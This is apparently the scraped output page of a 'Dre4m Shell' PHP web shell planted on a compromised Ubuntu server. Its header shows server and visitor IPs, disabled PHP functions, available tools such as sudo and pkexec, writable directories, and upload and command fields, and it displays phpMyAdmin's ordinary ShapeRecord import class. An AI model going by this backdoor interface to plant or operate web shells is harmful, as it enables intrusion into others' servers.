Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.145.177.28
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpmyadmin/libraries/plugins/import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/phpmyadmin/libraries/plugins/import/ShapeRecord.class.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * This class extends ShapeRecord class to cater the following phpMyAdmin
 * specific requirements.
 *
 * @package    PhpMyAdmin-Import
 * @subpackage ESRI_Shape
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 * 1) To load data from .dbf file only when the dBase extension is available.
 * 2) To use PMA_importGetNextChunk() functionality to read data, rather than
 *    reading directly from a file. Using ImportShp::readFromBuffer() in place
 *    of fread(). This makes it possible to use compressions.
 *
 * @package    PhpMyAdmin-Import
 * @subpackage ESRI_Shape
 */
class PMA_ShapeRecord extends ShapeRecord
{
    /**
     * Loads a geometry data record from the file
     *
     * @param object &$SHPFile .shp file
     * @param object &$DBFFile .dbf file
     *
     * @return void
     * @see ShapeRecord::loadFromFile()
     */
    public function loadFromFile(&$SHPFile, &$DBFFile)
    {
        $this->DBFFile = $DBFFile;
        $this->_loadHeaders();

        switch ($this->shapeType) {
        case 0:
            $this->_loadNullRecord();
            break;
        case 1:
            $this->_loadPointRecord();
            break;
        case 3:
            $this->_loadPolyLineRecord();
            break;
        case 5:
            $this->_loadPolygonRecord();
            break;
        case 8:
            $this->_loadMultiPointRecord();
            break;
        default:
            $this->setError(
                sprintf(
                    __("Geometry type '%s' is not supported by MySQL."),
                    $this->shapeType
                )
            );
            break;
        }
        if (extension_loaded('dbase') && isset($this->DBFFile)) {
            $this->_loadDBFData();
        }
    }

    /**
     * Loads metadata from the ESRI shape record header
     *
     * @return void
     * @see ShapeRecord::_loadHeaders()
     */
    public function _loadHeaders()
    {
        $this->recordNumber = loadData("N", ImportShp::readFromBuffer(4));
        ImportShp::readFromBuffer(4);
        $this->shapeType = loadData("V", ImportShp::readFromBuffer(4));
    }

    /**
     * Loads data from a point record
     *
     * @return array
     * @see ShapeRecord::_loadPoint()
     */
    public function _loadPoint()
    {
        $data = array();

        $data["x"] = loadData("d", ImportShp::readFromBuffer(8));
        $data["y"] = loadData("d", ImportShp::readFromBuffer(8));

        return $data;
    }

    /**
     * Loads data from a multipoint record
     *
     * @return void
     * @see ShapeRecord::_loadMultiPointRecord()
     */
    public function _loadMultiPointRecord()
    {
        $this->SHPData = array();
        $this->SHPData["xmin"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->SHPData["ymin"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->SHPData["xmax"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->SHPData["ymax"] = loadData("d", ImportShp::readFromBuffer(8));

        $this->SHPData["numpoints"] = loadData("V", ImportShp::readFromBuffer(4));

        for ($i = 0; $i <= $this->SHPData["numpoints"]; $i++) {
            $this->SHPData["points"][] = $this->_loadPoint();
        }
    }

    /**
     * Loads data from a polyline record
     *
     * @return void
     * @see ShapeRecord::_loadPolyLineRecord()
     */
    public function _loadPolyLineRecord()
    {
        $this->SHPData = array();
        $this->SHPData["xmin"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->SHPData["ymin"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->SHPData["xmax"] = loadData("d", ImportShp::readFromBuffer(8));
        $this->SHPData["ymax"] = loadData("d", ImportShp::readFromBuffer(8));

        $this->SHPData["numparts"]  = loadData("V", ImportShp::readFromBuffer(4));
        $this->SHPData["numpoints"] = loadData("V", ImportShp::readFromBuffer(4));

        for ($i = 0; $i < $this->SHPData["numparts"]; $i++) {
            $this->SHPData["parts"][$i] = loadData(
                "V", ImportShp::readFromBuffer(4)
            );
        }

        $readPoints = 0;
        reset($this->SHPData["parts"]);
        while (list($partIndex,) = each($this->SHPData["parts"])) {
            if (! isset($this->SHPData["parts"][$partIndex]["points"])
                || !is_array($this->SHPData["parts"][$partIndex]["points"])
            ) {
                $this->SHPData["parts"][$partIndex] = array();
                $this->SHPData["parts"][$partIndex]["points"] = array();
            }
            while (! in_array($readPoints, $this->SHPData["parts"])
            && ($readPoints < ($this->SHPData["numpoints"]))
            ) {
                $this->SHPData["parts"][$partIndex]["points"][]
                    = $this->_loadPoint();
                $readPoints++;
            }
        }
    }
}

Anon7 - 2022
AnonSec Team